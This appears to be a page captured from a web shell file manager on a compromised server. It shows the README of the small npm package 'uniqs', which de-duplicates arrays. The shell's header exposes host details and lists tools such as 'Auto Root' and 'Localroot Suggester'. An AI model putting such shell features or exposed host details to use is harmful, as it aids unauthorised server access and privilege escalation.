Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.148.217.66
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp-musonza /
node_modules /
uniqs /
Delete
Unzip
Name
Size
Permission
Date
Action
.travis.yml
36
B
-rw-r--r--
2014-06-01 21:56
README.md
1.18
KB
-rw-r--r--
2014-06-03 08:27
index.js
180
B
-rw-r--r--
2014-06-03 08:18
package.json
1.28
KB
-rw-r--r--
2021-02-04 21:24
test.js
584
B
-rw-r--r--
2014-06-03 08:26
Save
Rename
[](https://travis-ci.org/fgnass/uniqs) ### Tiny utility to create unions and de-duplicated lists. Example: ```js var uniqs = require('uniqs'); var foo = { foo: 23 }; var list = [3, 2, 2, 1, foo, foo]; uniqs(list); // => [3, 2, 1, { foo: 23 }] ``` You can pass multiple lists to create a union: ```js uniqs([2, 1, 1], [2, 3, 3, 4], [4, 3, 2]); // => [2, 1, 3, 4] ``` Passing individual items works too: ```js uniqs(3, 2, 2, [1, 1, 2]); // => [3, 2, 1] ``` ### Summary * Uniqueness is defined based on strict object equality. * The lists do not need to be sorted. * The resulting array contains the items in the order of their first appearance. ### About This package has been written to accompany utilities like [flatten](https://npmjs.org/package/flatten) as alternative to full-blown libraries like underscore or lodash. The implementation is optimized for simplicity rather than performance and looks like this: ```js module.exports = function uniqs() { var list = Array.prototype.concat.apply([], arguments); return list.filter(function(item, i) { return i == list.indexOf(item); }); }; ``` ### License MIT